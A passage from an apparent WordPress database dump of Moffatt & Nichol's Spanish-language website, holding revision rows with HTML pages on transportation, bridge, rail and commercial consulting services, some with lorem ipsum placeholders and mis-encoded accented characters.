FERROVIARIOS</strong><br />\r\n        Con más de sesenta años de experiencia, Moffatt &amp; Nichol tiene el legado de colocar a la seguridad ante todo. Creemos que</div>\r\n      <span class=\"moreheadlines-newone fr\"><a href=\"http://moffattnichol.com/spanish/rail-services-qualification/\" title=\"Ver\">Ver</a> | <a href=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/pdf/RAIL%20SERVICES.pdf\" target=\"_blank\" title=\"Descargar\">Descargar</a></span></div>\r\n    <div class=\"brochure-one\">\r\n      <div class=\"brochure-black\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/relavent/rail-2.jpg\" /></div>\r\n      <div class=\"bordhure-text-two\"> <em class=\"aapa-date\">Folleto</em><br />\r\n        <strong class=\"green-new\">FOLLETO DE SERVICIOS FERROVIARIOS</strong><br />\r\n        Moffatt & Nichol se ha especializado en el planeamiento y diseño de grandes proyectos de obras civiles, que incluyen instalaciones ferroviarias para clientes en Norteamérica, Europa,</div>\r\n      <span class=\"moreheadlines-newone fr\"><a href=\"http://moffattnichol.com/spanish/rail-services-brochure/\" title=\"Ver\">Ver</a> | <a href=\"http://moffattnichol.com/admin/upload_bro/RAIL1SERVICES.pdf\" target=\"_blank\" title=\"Descargar\">Descargar</a></span> </div>\r\n  </div>\r\n</div>\r\n</div>\r\n<div class=\"topbtn\"> <a href=\"#top\" title=\"Volver al principio\">Volver al principio</a></div>','Transporte, puentes y ferrocarriles','','inherit','open','open','','54-autosave','','','2012-06-15 05:46:03','2012-06-15 05:46:03','',54,'http://moffattnichol.com/spanish/54-autosave/',0,'revision','',0),(2468,1,'2012-05-17 13:03:54','2012-05-17 13:03:54','<div class=\"content_faq\"> [anything_slides cat=transportation width=588 height=300  delay=3000 resume=15000 animation=750 order=ASC orderby=menu_order theme=construction]\r\n  <div class=\"ports-left\">\r\n    <h3 id=\"1\">transporte</h3> Habiendo completado proyectos de movimiento de mercancÃas y de transporte, tanto dentro como mÃ¡s allÃ¡ del campo tradicional del transporte, la prÃ¡ctica de Moffatt & Nichol reÃºne los conocimientos de ingenierÃa civil y estructural de la firma con nuestra singular comprensiÃ³n de la infraestructura del movimiento de mercancÃas. Moffatt & Nichol ofrece una gama completa de servicios integrados y proporciona el planeamiento y el diseÃ±o para todos los aspectos de calzadas, carreteras, vÃas fÃ©rreas y puentes, asÃ como instalaciones intermodales y estructuras relacionadas. Nuestras habilidades tÃ©cnicas son incrementadas por nuestras capacidades de economÃa del transporte, que incluyen anÃ¡lisis del financiamiento y de la obtenciÃ³n de fondos, estudios de mercado y pronÃ³stico de la carga terrestre y de contenedores. Aportamos creatividad e innovaciÃ³n a cada misiÃ³n y nuestra cartera de proyectos presenta tareas complejas y desafiantes que incluyen algunos de los intercambios y rutas de carga mÃ¡s transitados asÃ como los puentes con mayor trÃ¡fico en el mundo.\r\n    <div class=\"moreheadlines-newone\"><a title=\"Ver perfil completo\" href=\"http://moffattnichol.com/spanish/transportation-bridge-rail/transportation-services/\">Examinar los servicios de transporte, puentes y ferrocarriles >></a></div>\r\n    &nbsp; <h3 id=\"2\">puentes</h3> Construidos para permitir el transporte por encima de obstÃ¡culos fÃsicos, los puentes son un componente bÃ¡sico de todas las redes de transporte que pueden abarcar desde una estructura simple que cruza un riachuelo en su vecindario hasta una estructura representativa utilizada como fondo en anuncios publicitarios. Moffatt & Nichol proporciona capacidades de ingenierÃa estructural para el planeamiento y el diseÃ±o de una amplia gama de puentes. \r\n    \r\n  \r\n    <div class=\"moreheadlines-newone\"><a title=\"Ver perfil completo\" href=\"http://moffattnichol.com/spanish/transportation-bridge-rail/roads-bridges-services/\">Examinar los servicios de puentes >></a></div>\r\n    &nbsp; <h3 id=\"3\">ferrocarriles</h3> Los sistemas ferroviarios de carga y pasajeros siguen estando a la vanguardia del desarrollo econÃ³mico, asÃ como la tendencia hacia el tren suburbano como mÃ©todo mÃ¡s sostenible de transporte. Moffatt & Nichol proporciona un conocimiento tÃ©cnico especializado en el estudio y diseÃ±o en toda la gama del proyecto ferroviario - desde corredores de carga e instalaciones ferroviarias intermodales, hasta corredores de trenes suburbanos y estaciones de pasajeros. Nuestras capacidades relacionadas con ferrocarriles incluyen el planeamiento y la ingenierÃa para nuevas instalaciones y corredores asÃ como la rehabilitaciÃ³n y modernizaciÃ³n de las instalaciones y corredores existentes. La firma ha proporcionado una gama completa de servicios de desarrollo de proyectos ferroviarios que abarcan desde el anÃ¡lisis financiero hasta los servicios de construcciÃ³n para clientes industriales, comerciales y militares, incluyendo autoridades ferroviarias y de transporte en Europa y AmÃ©rica. Esta experiencia da a nuestro personal una amplia perspectiva cuando se trata de anticipar y evitar fallas en la ejecuciÃ³n de proyectos ferroviarios. Nuestras capacidades singularmente especializadas relacionadas con ferrocarriles incluyen la seguridad de pasos a nivel, el anÃ¡lisis de corredores, los impactos del trÃ¡fico y la logÃstica de las operaciones.\r\n    <div class=\"moreheadlines-newone\"><a title=\"Ver perfil completo\" href=\"http://moffattnichol.com/spanish/transportation-bridge-rail/railroads-services/\">Examinar los servicios ferroviarios >></a></div>\r\n    &nbsp; <h3 id=\"4\">servicios consultivos comerciales globales</h3> Los servicios consultivos comerciales globales de Moffatt & Nichol aprovechan las singulares capacidades de planeamiento marÃtimo y de infraestructura de la firma y ofrecen un conjunto de servicios que utilizan nuestras habilidades sin igual en las Ã¡reas de anÃ¡lisis de carga de contenedores y planeamiento econÃ³mico. Atendemos a una diversidad de clientes que incluye autoridades portuarias, organismos gubernamentales, operadores de terminales, consultores de transporte y a inversionistas privados y pÃºblicos.\r\n    <div class=\"moreheadlines-newone\"><a title=\"Ver perfil completo\" href=\"http://moffattnichol.com/spanish/transportation-bridge-rail/capabilities-and-expertise/\">Examinar los servicios consultivos comerciales globales >></a></div> \r\n  &nbsp;\r\n  <div class=\"brochure-wrapper-ports\">\r\n    <h3>publicaciones relevantes</h3>\r\n    <div class=\"brochure-one\">\r\n      <div class=\"brochure-black\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/relavent/rail-1.jpg\" /></div>\r\n      <div class=\"bordhure-text\"> <em class=\"aapa-date\">Calificaciones y experiencia profesional</em><br />\r\n        <strong class=\"green-new\">CALIFICACIÃ“N DE SERVICIOS FERROVIARIOS</strong><br />\r\n        Con mÃ¡s de sesenta aÃ±os de experiencia, Moffatt &amp; Nichol tiene el legado de colocar a la seguridad ante todo. Creemos que</div>\r\n      <span class=\"moreheadlines-newone fr\"><a href=\"http://moffattnichol.com/spanish/rail-services-qualification/\" title=\"Ver\">Ver</a> | <a href=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/pdf/RAIL%20SERVICES.pdf\" target=\"_blank\" title=\"Descargar\">Descargar</a></span></div>\r\n    <div class=\"brochure-one\">\r\n      <div class=\"brochure-black\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/relavent/rail-2.jpg\" /></div>\r\n      <div class=\"bordhure-text-two\"> <em class=\"aapa-date\">Folleto</em><br />\r\n        <strong class=\"green-new\">FOLLETO DE SERVICIOS FERROVIARIOS</strong><br />\r\n        Moffatt & Nichol se ha especializado en el planeamiento y diseÃ±o de grandes proyectos de obras civiles, que incluyen instalaciones ferroviarias para clientes en NorteamÃ©rica, Europa,</div>\r\n      <span class=\"moreheadlines-newone fr\"><a href=\"http://moffattnichol.com/spanish/rail-services-brochure/\" title=\"Ver\">Ver</a> | <a href=\"http://moffattnichol.com/admin/upload_bro/RAIL1SERVICES.pdf\" target=\"_blank\" title=\"Descargar\">Descargar</a></span> </div>\r\n  </div>\r\n</div>\r\n</div>\r\n<div class=\"topbtn\"> <a href=\"#top\" title=\"Volver al principio\">Volver al principio</a></div>','Transporte, puentes y ferrocarriles','','inherit','open','open','','54-revision-3','','','2012-05-17 13:03:54','2012-05-17 13:03:54','',54,'http://moffattnichol.com/spanish/54-revision-3/',0,'revision','',0),(2469,1,'2012-06-15 05:48:14','2012-06-15 05:48:14','<div class=\"content_faq\">\r\n <h3>consultoría comercial global</h3>\r\n  <div class=\"global-services_one\">\r\n    <div class=\"ports_left\">\r\n      <div class=\"box_green-ports\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/services/bridges/GCAES_distribution.jpg\" /></div>\r\n    </div>\r\n    <div class=\"ports-harbours-right\">\r\n      <h1 id=\"1\">capacidades y experiencia profesional</h1>\r\nNuestro grupo abarca una combinación de especialistas en economía, logística, finanzas, gestión y operaciones, con experiencia profesional en una organización novedosa y en el financiamiento de sistemas avanzados de entrega de carga. El equipo tiene un enfoque comercial y ofrece el desarrollo completo de proyectos de infraestructura de carga de contenedores y transporte, desde el concepto inicial y planeamiento estratégico hasta la creación de un proyecto factible que pueda ser diseñado, construido y puesto en funcionamiento.\r\n<div class=\"clear\"></div>\r\nÚnica en el mercado, la experiencia profesional de Moffatt & Nichol en el análisis y pronóstico de los mercados de carga de contenedores, logística de transporte y estrategias de inversión, es complementada por las prácticas globales de la firma para proporcionar soluciones integradas a una variedad de proyectos, incluyendo sistemas de transporte intermodal, puertos comerciales y redes de distribución logística. Moffatt & Nichol ha proporcionado la diligencia comercial debida para muchas transacciones de infraestructura marítima importantes en la década pasada, con similar diligencia comercial ofrecida para otros activos del sector, incluyendo operaciones de terminales ferroviarias intermodales. La cartera geográfica del grupo de servicios comerciales consultivos incluye proyectos terminados en Norteamérica, Sudamérica y América Central, el Caribe, Europa, África, el Medio Oriente y Asia.\r\n<strong>Experiencia profesional:</strong>\r\n    <ul>\r\n      <li>Análisis macroeconómico y demanda de carga globales</li>\r\n      <li>Análisis de mercado específico del país y regional</li>\r\n      <li>Evaluaciones económicas de ventajas competitivas</li>\r\n      <li>Desviación de carga y estudios de elasticidad</li>\r\n      <li>Estudios de casos comerciales</li>\r\n      <li>Desarrollo de proforma financiera</li>\r\n      <li>Estudios de factibilidad financiera y de capacidad de emisión</li>\r\n      <li>Evaluaciones y desarrollos estratégicos</li>\r\n      <li>Diligencia debida de transacciones comerciales con grado de inversión</li>\r\n      <li>Planeamiento y cálculo de costo de servicios logísticos</li>\r\n      <li>Estudios de gestión y organización</li>\r\n      <li>Evaluación de alternativas de leasing</li>\r\n      <li>Análisis del impacto económico</li>\r\n      <li>Estimación de beneficio del sector público</li>\r\n      <li>Evaluación de costo-beneficio</li>\r\n      <li>Análisis de la productividad y las operaciones de terminales </li>\r\n      <li>Operaciones de compañías navieras</li>\r\n    </ul>\r\n    <br />\r\n    &nbsp; &nbsp; &nbsp;\r\n      <div class=\"followus\"><a href=\"#top\" title=\"Volver al principio \">Volver al principio ^</a></div>\r\n    </div>\r\n  </div>\r\n  </div>\r\n<div class=\"topbtn\"> <a href=\"#top\" title=\"Volver al principio\">Volver al principio</a></div>\r\n','Capacidades y experiencia profesional','','inherit','open','open','','1657-autosave','','','2012-06-15 05:48:14','2012-06-15 05:48:14','',1657,'http://moffattnichol.com/spanish/1657-autosave/',0,'revision','',0),(2470,1,'2012-01-10 17:12:51','2012-01-10 11:42:51','<div class=\"content_faq\">\n  <h3>consultorÃa comercial global</h3>\n  <div class=\"global-services_one\">\n    <div class=\"ports_left\">\n      <div class=\"box_green-ports\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/services/bridges/GCAES_distribution.jpg\" /></div>\n    </div>\n    <div class=\"ports-harbours-right\">\n      <h1 id=\"1\">capacidades y experiencia profesional</h1>\nNuestro grupo abarca una combinaciÃ³n de especialistas en economÃa, logÃstica, finanzas, gestiÃ³n y operaciones, con experiencia profesional en una organizaciÃ³n novedosa y en el financiamiento de sistemas avanzados de entrega de carga. El equipo tiene un enfoque comercial y ofrece el desarrollo completo de proyectos de infraestructura de carga de contenedores y transporte, desde el concepto inicial y planeamiento estratÃ©gico hasta la creaciÃ³n de un proyecto factible que pueda ser diseÃ±ado, construido y puesto en funcionamiento.\n<div class=\"clear\"></div>\nÃšnica en el mercado, la experiencia profesional de Moffatt & Nichol en el anÃ¡lisis y pronÃ³stico de los mercados de carga de contenedores, logÃstica de transporte y estrategias de inversiÃ³n, es complementada por las prÃ¡cticas globales de la firma para proporcionar soluciones integradas a una variedad de proyectos, incluyendo sistemas de transporte intermodal, puertos comerciales y redes de distribuciÃ³n logÃstica. Moffatt & Nichol ha proporcionado la diligencia comercial debida para muchas transacciones de infraestructura marÃtima importantes en la dÃ©cada pasada, con similar diligencia comercial ofrecida para otros activos del sector, incluyendo operaciones de terminales ferroviarias intermodales. La cartera geogrÃ¡fica del grupo de servicios comerciales consultivos incluye proyectos terminados en NorteamÃ©rica, SudamÃ©rica y AmÃ©rica Central, el Caribe, Europa, Ãfrica, el Medio Oriente y Asia.\n<strong>Experiencia profesional:</strong>\n    <ul>\n      <li>AnÃ¡lisis macroeconÃ³mico y demanda de carga globales</li>\n      <li>AnÃ¡lisis de mercado especÃfico del paÃs y regional</li>\n      <li>Evaluaciones econÃ³micas de ventajas competitivas</li>\n      <li>DesviaciÃ³n de carga y estudios de elasticidad</li>\n      <li>Estudios de casos comerciales</li>\n      <li>Desarrollo de proforma financiera</li>\n      <li>Estudios de factibilidad financiera y de capacidad de emisiÃ³n</li>\n      <li>Evaluaciones y desarrollos estratÃ©gicos</li>\n      <li>Diligencia debida de transacciones comerciales con grado de inversiÃ³n</li>\n      <li>Planeamiento y cÃ¡lculo de costo de servicios logÃsticos</li>\n      <li>Estudios de gestiÃ³n y organizaciÃ³n</li>\n      <li>EvaluaciÃ³n de alternativas de leasing</li>\n      <li>AnÃ¡lisis del impacto econÃ³mico</li>\n      <li>EstimaciÃ³n de beneficio del sector pÃºblico</li>\n      <li>EvaluaciÃ³n de costo-beneficio</li>\n      <li>AnÃ¡lisis de la productividad y las operaciones de terminales </li>\n      <li>Operaciones de compaÃ±Ãas navieras</li>\n    </ul>\n    <br />\n    &nbsp; &nbsp; &nbsp;\n      <div class=\"followus\"><a href=\"#top\" title=\"Volver al principio \">Volver al principio ^</a></div>\n    </div>\n  </div>\n  </div>\n<div class=\"topbtn\"> <a href=\"#top\" title=\"Volver al principio\">Volver al principio</a></div>\n','Capacidades y experiencia profesional','','inherit','open','open','','1657-revision','','','2012-01-10 17:12:51','2012-01-10 11:42:51','',1657,'http://moffattnichol.com/spanish/1657-revision/',0,'revision','',0),(2471,1,'2012-06-15 05:51:17','2012-06-15 05:51:17','<div class=\"content_faq\">\r\n<div class=\"banner-inner\">\r\n          <div class=\"slider-wrap\"></div>\r\n            <ul id=\"movers-row\">\r\n              <li class=\"featured_projects\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/featured_projects.jpg\" /></li>\r\n              <li class=\"cross-link-one\"><a href=\"#1\" class=\"cross-link\"></a></li>\r\n              <li class=\"cross-link-two\"><a href=\"#2\" class=\"cross-link\"></a></li>\r\n              <li class=\"cross-link-three\"><a href=\"#3\" class=\"cross-link\"></a></li>\r\n              <li class=\"cross-link-four\"><a href=\"#4\" class=\"cross-link\"></a></li>\r\n              <li class=\"cross-link-five\"><a href=\"#5\" class=\"cross-link\"></a></li>\r\n              <li class=\"cross-link-six\"><a href=\"#6\" class=\"cross-link\"></a></li>\r\n            </ul>\r\n            <div id=\"main-photo-slider\" class=\"csw\">\r\n              <div class=\"panelContainer\">\r\n                <div class=\"panel\" title=\"Ports & harbors\">\r\n                  <div class=\"wrapper\">\r\n                    <img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/ph_port_harbors.jpg\" alt=\"temp\" width=\"588\" height=\"296\" />\r\n                    <div class=\"photo-meta-data\">\r\n                      <div class=\"project_title\">\r\n                        <div class=\"project_left\"><strong class=\"green\">TÃTULO DE PROYECTO</strong><br />\r\n                          <em class=\"gray\">Cliente/fecha si es aplicable</em> </div>\r\n                        <div class=\"project_right\">Lorem ipsum dolor sit amet, consectetur adipiscing elit. Morbi sed pulvinar nisi.  hendrerit, tellus in congue fringilla, odio velit scelerisque nisl,  &nbsp;<span class=\"read_morenew\"><a href=\"#\">Leer mÃ¡s</a></span></div>\r\n                      </div>\r\n                    </div>\r\n                  </div>\r\n                </div>\r\n                <div class=\"panel\" title=\"coastal resourses\">\r\n                  <div class=\"wrapper\"> <img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/coastal_environmental.jpg\" alt=\"temp\" width=\"588\" height=\"296\" />\r\n                    <div class=\"photo-meta-data\">\r\n                      <div class=\"project_title\">\r\n                        <div class=\"project_left\"><strong class=\"green\">TÃTULO DE PROYECTO</strong><br />\r\n                          <em class=\"gray\">Cliente/fecha si es aplicable</em> </div>\r\n                        <div class=\"project_right\">Lorem ipsum dolor sit amet, consectetur adipiscing elit. Morbi sed pulvinar nisi.  hendrerit, tellus in congue fringilla, odio velit scelerisque nisl,  &nbsp;<span class=\"read_morenew\"><a href=\"#\">Leer mÃ¡s</a></span></div>\r\n                      </div>\r\n                    </div>\r\n                  </div>\r\n                </div>\r\n                <div class=\"panel\" title=\"Transportation\">\r\n                  <div class=\"wrapper\"> <img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/transportation.jpg\" alt=\"temp\" width=\"588\" height=\"296\" />\r\n                    <div class=\"photo-meta-data\">\r\n                      <div class=\"project_title\">\r\n                        <div class=\"project_left\"><strong class=\"green\">TÃTULO DE PROYECTO</strong><br />\r\n                          <em class=\"gray\">Cliente/fecha si es aplicable</em> </div>\r\n                        <div class=\"project_right\">Lorem ipsum dolor sit amet, consectetur adipiscing elit. Morbi sed pulvinar nisi.  hendrerit, tellus in congue fringilla, odio velit scelerisque nisl,  &nbsp;<span class=\"read_morenew\"><a href=\"#\">Leer mÃ¡s</a></span></div>\r\n                      </div>\r\n                    </div>\r\n                  </div>\r\n                </div>\r\n                <div class=\"panel\" title=\"Goods movement\">\r\n                  <div class=\"wrapper\"> <img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/uw_waterfronts_marinas.jpg\" alt=\"temp\" width=\"588\" height=\"296\" />\r\n                    <div class=\"photo-meta-data\">\r\n                      <div class=\"project_title\">\r\n                        <div class=\"project_left\"><strong class=\"green\">TÃTULO DE PROYECTO</strong><br />\r\n                          <em class=\"gray\">Cliente/fecha si es aplicable</em> </div>\r\n                        <div class=\"project_right\">Lorem ipsum dolor sit amet, consectetur adipiscing elit. Morbi sed pulvinar nisi.  hendrerit, tellus in congue fringilla, odio velit scelerisque nisl,  &nbsp;<span class=\"read_morenew\"><a href=\"#\">Leer mÃ¡s</a></span></div>\r\n                      </div>\r\n                    </div>\r\n                  </div>\r\n                </div>\r\n                <div class=\"panel\" title=\"Energy\">\r\n                  <div class=\"wrapper\"> <img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/energy_overview.jpg\" alt=\"temp\" width=\"588\" height=\"296\" />\r\n                    <div class=\"photo-meta-data\">\r\n                      <div class=\"project_title\">\r\n                        <div class=\"project_left\"><strong class=\"green\">TÃTULO DE PROYECTO</strong><br />\r\n                          <em class=\"gray\">Cliente/fecha si es aplicable</em> </div>\r\n                        <div class=\"project_right\">Lorem ipsum dolor sit amet, consectetur adipiscing elit. Morbi sed pulvinar nisi.  hendrerit, tellus in congue fringilla, odio velit scelerisque nisl,  &nbsp; <span class=\"read_morenew\"><a href=\"#\">Leer mÃ¡s</a></span></div>\r\n                      </div>\r\n                    </div>\r\n                  </div>\r\n                </div>\r\n                <div class=\"panel\" title=\"Oil services\">\r\n                  <div class=\"wrapper\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/inspection_banner.jpg\" width=\"588\" height=\"296\"/></div>\r\n                  <div class=\"photo-meta-data\">\r\n                    <div class=\"project_title\">\r\n                      <div class=\"project_left\"><strong class=\"green\">TÃTULO DE PROYECTO</strong><br />\r\n                        <em class=\"gray\">Cliente/fecha si es aplicable</em> </div>\r\n                      <div class=\"project_right\">Lorem ipsum dolor sit amet, consectetur adipiscing elit. Morbi sed pulvinar nisi.  hendrerit, tellus in congue fringilla, odio velit scelerisque nisl,  &nbsp;<span class=\"read_morenew\"><a href=\"#\">Leer mÃ¡s</a></span></div>\r\n                    </div>\r\n                  </div>\r\n                </div>\r\n              </div>\r\n            </div>\r\n          </div>\r\n<div class=\"ports-left\">\r\n            <h3>ferrocarriles</h3>\r\n          <div class=\"our-mission\">Lorem ipsum dolor sit amet, consectetur adipiscing elit. Nunc in ipsum dui, molestie egestas erat. Praesent nec arcu massa, ut semper nunc. Etiam purus nisl, semper eu condimentum eget, consequat posuere est. Sed porta, velit et lobortis pharetra, ipsum metus tincidunt nisl, eu ultrices lacus libero tristique purus. Duis pellentesque aliquam dui eget varius. Vestibulum ante ipsum primis in faucibus orci luctus et ultrices posuere cubilia Curae; Nunc rutrum est quis massa scelerisque nec dapibus mi porttitor. Mauris posuere fringilla ullamcorper. In a nunc nec sapien auctor fringilla. Pellentesque iaculis porttitor risus, nec lacinia nisi iaculis eget.</div>\r\n          <h3>&nbsp;</h3>\r\n</div>    \r\n       <div class=\"ports-right\">\r\n            <h3 >lista de servicios</h3>\r\n            <div class=\"services-list\">\r\nMovimiento de mercancÃas<br />\r\nCorredores de transporte<br />\r\nTerminales de transbordadores<br />\r\nServicios consultivos globales<br />\r\nCimentaciones profundas<br />\r\nAnÃ¡lisis de socavaciÃ³n<br />\r\n            </div>\r\n        </div>\r\n       <div class=\"clear\"></div>\r\n       <div class=\"brochure-wrapper-ports\">\r\n            <h3>publicaciones relevantes</h3><br />\r\n            <div class=\"brochure-one\">\r\n              <div class=\"brochure-black\"></div>\r\n              <div class=\"bordhure-text\"> <em class=\"aapa-date\">Folleto</em><br />\r\n                <strong class=\"green-new\"> Â¡TÃTULO AQUÃ!</strong><br />\r\n                Lorem ipsum dolor sit amet, consectetur adipiscing elit. Praesent nibh nunc, euismod at sodales at, molestie ac lorem. Maecenas id mollis urna. Pellentesque tempor pellentesque. </div>\r\n              <span class=\"moreheadlines-newone fr\"><a href=\"#\" title=\"Ver\">Ver</a> | <a href=\"#\" title=\"Descargar\">Descargar</a></span></div>\r\n            <div class=\"brochure-one\">\r\n              <div class=\"brochure-black\"></div>\r\n              <div class=\"bordhure-text-two\"> <em class=\"aapa-date\">Folleto</em><br />\r\n                <strong class=\"green-new\">Â¡TÃTULO AQUÃ!</strong><br />\r\n                Lorem ipsum dolor sit amet, consectetur adipiscing elit. Praesent nibh nunc, euismod at sodales at, molestie ac lorem. Maecenas id mollis urna. Pellentesque tempor pellentesque. </div>\r\n              <span class=\"moreheadlines-newone fr\"><a href=\"#\" title=\"Ver\">Ver</a> | <a href=\"#\" title=\"Descargar\">Descargar</a></span> </div>\r\n            <div class=\"brochure-one\">\r\n              <div class=\"brochure-black\"></div>\r\n              <div class=\"bordhure-text-two\"> <em class=\"aapa-date\">Calificaciones y experiencia profesional</em><br />\r\n                <strong class=\"green-new\">Â¡TÃTULO AQUÃ!</strong><br />\r\n                Lorem ipsum dolor sit amet, consectetur adipiscing elit. Praesent nibh nunc, euismod at sodales at, molestie ac lorem. Maecenas id mollis urna. Pellentesque tempor </div>\r\n              <span class=\"moreheadlines-newone fr\"><a href=\"#\" title=\"Ver\">Ver</a> | <a href=\"#\" title=\"Descargar\">Descargar</a></span> </div>\r\n            <div class=\"brochure-last\">\r\n              <div class=\"brochure-black\"></div>\r\n              <div class=\"bordhure-text-two\"> <em class=\"aapa-date\">PresentaciÃ³n</em><br />\r\n                <strong class=\"green-new\">Â¡TÃTULO AQUÃ!</strong><br />\r\n              Lorem ipsum dolor sit amet, consectetur adipiscing elit. Praesent nibh nunc, euismod at sodales at, molestie ac lorem. Maecenas id mollis urna. Pellentesque tempor pellentesque. </div>\r\n              <span class=\"moreheadlines-newone fr\"><a href=\"#\" title=\"Ver\">Ver</a> | <a href=\"#\" title=\"Descargar\">Descargar</a></span> </div>\r\n        </div>\r\n</div>\r\n  <div class=\"topbtn\"><a href=\"#top\" title=\"Volver al principio\">Volver al principio</a></div>       ','Ferrocarriles','','inherit','open','open','','348-autosave','','','2012-06-15 05:51:17','2012-06-15 05:51:17','',348,'http://moffattnichol.com/spanish/348-autosave/',0,'revision','',0),(2472,1,'2011-10-25 06:22:18','2011-10-25 06:22:18','<div class=\"content_faq\">\n<div class=\"banner-inner\">\n          <div class=\"slider-wrap\"></div>\n            <ul id=\"movers-row\">\n              <li class=\"featured_projects\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/featured_projects.jpg\" /></li>\n              <li class=\"cross-link-one\"><a href=\"#1\" class=\"cross-link\"></a></li>\n              <li class=\"cross-link-two\"><a href=\"#2\" class=\"cross-link\"></a></li>\n              <li class=\"cross-link-three\"><a href=\"#3\" class=\"cross-link\"></a></li>\n              <li class=\"cross-link-four\"><a href=\"#4\" class=\"cross-link\"></a></li>\n              <li class=\"cross-link-five\"><a href=\"#5\" class=\"cross-link\"></a></li>\n              <li class=\"cross-link-six\"><a href=\"#6\" class=\"cross-link\"></a></li>\n            </ul>\n            <div id=\"main-photo-slider\" class=\"csw\">\n              <div class=\"panelContainer\">\n                <div class=\"panel\" title=\"Ports & harbors\">\n                  <div class=\"wrapper\">\n                    <img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/ph_port_harbors.jpg\" alt=\"temp\" width=\"588\" height=\"296\" />\n                    <div class=\"photo-meta-data\">\n                      <div class=\"project_title\">\n                        <div class=\"project_left\"><strong class=\"green\">TÃTULO DE PROYECTO</strong><br />\n                          <em class=\"gray\">Cliente/fecha si es aplicable</em> </div>\n                        <div class=\"project_right\">Lorem ipsum dolor sit amet, consectetur adipiscing elit. Morbi sed pulvinar nisi.  hendrerit, tellus in congue fringilla, odio velit scelerisque nisl,  &nbsp;<span class=\"read_morenew\"><a href=\"#\">Leer mÃ¡s</a></span></div>\n                      </div>\n                    </div>\n                  </div>\n                </div>\n                <div class=\"panel\" title=\"coastal resourses\">\n                  <div class=\"wrapper\"> <img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/coastal_environmental.jpg\" alt=\"temp\" width=\"588\" height=\"296\" />\n                    <div class=\"photo-meta-data\">\n                      <div class=\"project_title\">\n                        <div class=\"project_left\"><strong class=\"green\">TÃTULO DE PROYECTO</strong><br />\n                          <em class=\"gray\">Cliente/fecha si es aplicable</em> </div>\n                        <div class=\"project_right\">Lorem ipsum dolor sit amet, consectetur adipiscing elit. Morbi sed pulvinar nisi.  hendrerit, tellus in congue fringilla, odio velit scelerisque nisl,  &nbsp;<span class=\"read_morenew\"><a href=\"#\">Leer mÃ¡s</a></span></div>\n                      </div>\n                    </div>\n                  </div>\n                </div>\n                <div class=\"panel\" title=\"Transportation\">\n                  <div class=\"wrapper\"> <img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/transportation.jpg\" alt=\"temp\" width=\"588\" height=\"296\" />\n                    <div class=\"photo-meta-data\">\n                      <div class=\"project_title\">\n                        <div class=\"project_left\"><strong class=\"green\">TÃTULO DE PROYECTO</strong><br />\n                          <em class=\"gray\">Cliente/fecha si es aplicable</em> </div>\n                        <div class=\"project_right\">Lorem ipsum dolor sit amet, consectetur adipiscing elit. Morbi sed pulvinar nisi.  hendrerit, tellus in congue fringilla, odio velit scelerisque nisl,  &nbsp;<span class=\"read_morenew\"><a href=\"#\">Leer mÃ¡s</a></span></div>\n                      </div>\n                    </div>\n                  </div>\n                </div>\n                <div class=\"panel\" title=\"Goods movement\">\n                  <div class=\"wrapper\"> <img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/uw_waterfronts_marinas.jpg\" alt=\"temp\" width=\"588\" height=\"296\" />\n                    <div class=\"photo-meta-data\">\n                      <div class=\"project_title\">\n                        <div class=\"project_left\"><strong class=\"green\">TÃTULO DE PROYECTO</strong><br />\n                          <em class=\"gray\">Cliente/fecha si es aplicable</em> </div>\n                        <div class=\"project_right\">Lorem ipsum dolor sit amet, consectetur adipiscing elit. Morbi sed pulvinar nisi.  hendrerit, tellus in congue fringilla, odio velit scelerisque nisl,  &nbsp;<span class=\"read_morenew\"><a href=\"#\">Leer mÃ¡s</a></span></div>\n                      </div>\n                    </div>\n                  </div>\n                </div>\n                <div class=\"panel\" title=\"Energy\">\n                  <div class=\"wrapper\"> <img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/energy_overview.jpg\" alt=\"temp\" width=\"588\" height=\"296\" />\n                    <div class=\"photo-meta-data\">\n                      <div class=\"project_title\">\n                        <div class=\"project_left\"><strong class=\"green\">TÃTULO DE PROYECTO</strong><br />\n                          <em class=\"gray\">Cliente/fecha si es aplicable</em> </div>\n                        <div class=\"project_right\">Lorem ipsum dolor sit amet, consectetur adipiscing elit. Morbi sed pulvinar nisi.  hendrerit, tellus in congue fringilla, odio velit scelerisque nisl,  &nbsp; <span class=\"read_morenew\"><a href=\"#\">Leer mÃ¡s</a></span></div>\n                      </div>\n                    </div>\n                  </div>\n                </div>\n                <div class=\"panel\" title=\"Oil services\">\n                  <div class=\"wrapper\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/inspection_banner.jpg\" width=\"588\" height=\"296\"/></div>\n                  <div class=\"photo-meta-data\">\n                    <div class=\"project_title\">\n                      <div class=\"project_left\"><strong class=\"green\">TÃTULO DE PROYECTO</strong><br />\n                        <em class=\"gray\">Cliente/fecha si es aplicable</em> </div>\n                      <div class=\"project_right\">Lorem ipsum dolor sit amet, consectetur adipiscing elit. Morbi sed pulvinar nisi.  hendrerit, tellus in congue fringilla, odio velit scelerisque nisl,  &nbsp;<span class=\"read_morenew\"><a href=\"#\">Leer mÃ¡s</a></span></div>\n                    </div>\n                  </div>\n                </div>\n              </div>\n            